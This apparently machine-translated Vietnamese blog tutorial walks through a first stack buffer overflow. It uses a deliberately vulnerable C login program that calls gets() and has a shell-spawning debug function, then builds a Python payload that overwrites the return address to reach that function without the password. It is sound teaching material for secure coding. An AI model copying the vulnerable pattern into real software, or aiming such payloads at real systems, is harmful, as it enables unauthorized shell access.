Tràn bộ đệm đầu tiên của bạn

Nov 27 2022
Cho dù bạn là sinh viên, nhà phát triển hay người quản lý tại một công ty, bạn nên thử điều này. Chìa khóa để viết mã an toàn là hiểu mã xấu bị phá vỡ như thế nào.

Cho dù bạn là sinh viên, nhà phát triển hay người quản lý tại một công ty, bạn nên thử điều này. Chìa khóa để viết mã an toàn là hiểu mã xấu bị phá vỡ như thế nào. Cách duy nhất để phá vỡ mã xấu là làm bẩn tay bạn và bắt đầu giải quyết các thách thức khai thác nhị phân. Trong bài viết này, tôi sẽ hướng dẫn bạn cách thực hiện cuộc tấn công tràn bộ đệm của riêng bạn bằng cách sử dụng một ví dụ tôi đã làm trên YouTube.

Trong một trong các video trên YouTube của mình, tôi đã giải thích cách các chuỗi trong ngôn ngữ Lập trình C khiến mọi người bị tấn công. Lý do chính cho điều này là không có thuộc tính độ dài nướng được liên kết với loại chuỗi C. Cách duy nhất để biết một chuỗi đã hoàn thành hay chưa là điều hướng đến cuối chuỗi.

https://youtu.be/fjMrDDj47E8

Khái niệm này đã dẫn đến vô số lỗ hổng tràn bộ đệm trong phần mềm và kết quả là dẫn đến hàng nghìn cuộc tấn công mạng và đánh cắp dữ liệu cá nhân.

Máy chủ dễ bị tấn công của chúng tôi

Dưới đây là một số mã cho một máy chủ đơn giản trong C.

#include <stdio.h>
#include <secrets.h>

void debug() 
{
    printf("!! ENTERING DEBUG MODE !!\n");
    system("/bin/bash");
}

int checkPassword()
{
    char password[64];

    printf("password: ");
    gets(password);

    return isValidPassword(password);
}

int main(int argc, char **argv)
{
    printf("WELCOME TO THE SECURE SERVER\n");

    if (checkPassword())
    {
        debug();
    } else {
        printf("Wrong password, sorry;\n");
    }
}

Tuy nhiên, có một lỗ hổng lớn ở đây . Mật khẩu cuối cùng được kiểm tra sẽ được đọc bởi hàm got , đây là một hàm cực kỳ dễ bị tấn công. Nếu bạn không tin tôi, hãy xem trang người đàn ông để biết .

Never use gets(). Because it is impossible to tell without knowing the data 
in advance how many characters gets() will read, and because gets() will 
continue to store characters past the end of the buffer, it is extremely 
dangerous to use. It has been used to break computer security. Use fgets() 
instead.

ngăn xếp

Phần khó nhất đối với các lập trình viên và chuyên gia an ninh mạng là hiểu làm thế nào mà việc tràn ngập dữ liệu bên ngoài bộ đệm có thể dẫn đến việc tin tặc giành quyền kiểm soát mã của bạn và cuối cùng là máy tính của bạn. Điều này xảy ra như thế nào là do cách máy tính tổ chức bộ nhớ khi chương trình chạy.

Hình 1: ví dụ về điều khiển luồng chương trình

Trong mẫu mã trên, chương trình bắt đầu trong main. Sau khi bắt đầu chính , trên dòng 10, other_function được gọi. Điều cực kỳ quan trọng cần hiểu là làm thế nào other_function biết đi đến dòng 11 sau khi nó quay trở lại.

Cấu trúc chứa thông tin này được gọi là “ngăn xếp”. Ngăn xếp là vùng RAM được sử dụng khi chương trình của bạn thực thi và được dùng để lưu trữ cả thông tin luồng điều khiển (chẳng hạn như địa chỉ trả về) cũng như dữ liệu.

Khi main gọi other_function , địa chỉ sẽ thực thi tiếp theo trong main sau khi other_function trả về được đẩy lên trên cùng của ngăn xếp. other_function chạy và sau đó chương trình quay lại địa chỉ được lưu trữ bởi main .

Đây là lúc lỗi tràn bộ đệm bắt đầu trở thành vấn đề. Nếu có lỗi tràn bộ đệm trong dữ liệu của chương trình, bạn có thể thay đổi thông tin luồng điều khiển và cuối cùng thay đổi cách chương trình thực thi.

Tự mình thử

Điều tương tự cũng áp dụng cho đoạn mã này ở đây. Ý tưởng đằng sau chương trình này là: nếu bạn biết mật khẩu, bạn sẽ nhận được một trình bao. Thật không may, hacker chúng tôi không biết mật khẩu, vì vậy chúng tôi không nhận được shell. Tuy nhiên, vì hàm get được sử dụng nên chúng ta có thể lợi dụng lỗ hổng tràn bộ đệm và làm tràn địa chỉ trả về. Thay vì quay lại main , chúng ta có thể quay lại trực tiếp chức năng gỡ lỗi mà không cần biết mật khẩu.

Cùng theo dõi tại đây:

https://github.com/lowlevellearning/secure-server-stuff

Chức năng kiểm tra

Để bắt đầu, chúng ta nên chạy máy chủ và kiểm tra chức năng của nó. Ngoài ra, hãy thử đoán mật khẩu.

Được rồi, không xúc xắc. Đây là nơi hack bắt đầu.

Sập máy chủ

Chúng ta có thể tận dụng lỗi tràn bộ đệm, như tên của nó, bằng cách làm tràn bộ đệm. Để làm điều này, chúng tôi cung cấp nhiều dữ liệu hơn mức máy chủ có thể xử lý.

Ở phía dưới, chúng tôi thấy rằng chương trình có Lỗi phân đoạn. Điều này có nghĩa là chương trình đã cố truy cập vào bộ nhớ mà nó không thể truy cập. Nếu bạn là một nhà phát triển, điều này là xấu. Nhưng, nếu bạn đang cố hack máy chủ, điều này thật tốt :)

Hãy phá vỡ sự cố xuống xa hơn một chút.

Ở đây, chúng ta có thể thấy rằng chương trình bị lỗi khi cố gắng thực hiện các hướng dẫn tại địa chỉ 0x41414141. Địa chỉ đó có vẻ… kỳ quặc. Thật thú vị, 0x41414141 là biểu diễn hex của chuỗi “AAAA”, có nghĩa là chuỗi As của chúng ta đã tràn vào địa chỉ trả về và CPU đã cố thực thi nó. BÂY GIỜ ĐÃ ĐƯỢC HACK!

kiểm soát

Để kiểm soát chính xác địa chỉ trả về, chúng tôi cần xác định cụ thể phần nào trong chuỗi ASCII khiến chương trình gặp sự cố. Chúng tôi có thể làm điều đó bằng cách điều chỉnh chuỗi của mình bằng các ký tự khác nhau và sử dụng các ký tự để xác định nơi bắt đầu và kết thúc quyền kiểm soát địa chỉ trả về của chúng tôi.

Thay vì một chuỗi dài As, chúng tôi đặt 64 As, theo sau là một loạt ký tự ASCII bổ sung. 64 là độ dài của bộ đệm đầu vào của chúng tôi, vì vậy đó là một nơi tốt để bắt đầu đoán độ dài. Sau đó, chúng tôi chèn các ký tự bổ sung. Để kiểm tra xem điều khiển của chúng ta bắt đầu từ đâu, hãy sử dụng lệnh tương tự như trước đây.

Bây giờ bạn có thể thấy chúng tôi có một địa chỉ trả lại mới. 0x45454545 là đại diện hex của “EEEE”! Điều này có nghĩa là chúng ta đã xác định được vị trí tràn kiểm soát con trỏ trả về. Từ đây, chúng ta cần đặt một địa chỉ vào bộ đệm mà chúng ta thực sự quan tâm. Chúng tôi đang cố gắng quay lại chức năng gỡ lỗi, vì vậy chúng tôi nên đặt địa chỉ đó thay cho chuỗi EEEE.

Để xác định địa chỉ gỡ lỗi, chúng tôi chạy một lệnh đơn giản…

objdump -d -Mintel ./hacked | less

Có vẻ như địa chỉ gỡ lỗi là 0x08049296. Nếu chúng tôi đặt địa chỉ gỡ lỗi ở vị trí của chuỗi EEEE, có thể chúng tôi có thể kiểm soát chương trình và quay lại gỡ lỗi mà không cần mật khẩu.

Khai thác cuối cùng

Chúng ta có thể làm điều đó bằng cách sử dụng một số python-fu.

import sys

payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += b"BBBBCCCCDDDD"
payload += b"\x08\x04\x92\x96"[::-1]

sys.stdout.buffer.write(payload)

user@user:~/vuln$ (python3 exploit.py; cat) | ./hacked
WELCOME TO THE SECURE SERVER

password: !! ENTERING DEBUG MODE !!

cat password
too_kool_4_skoo

Vui lòng theo dõi tôi trên Phương tiện, đăng ký trên YouTube. Nhiều hơn để đến!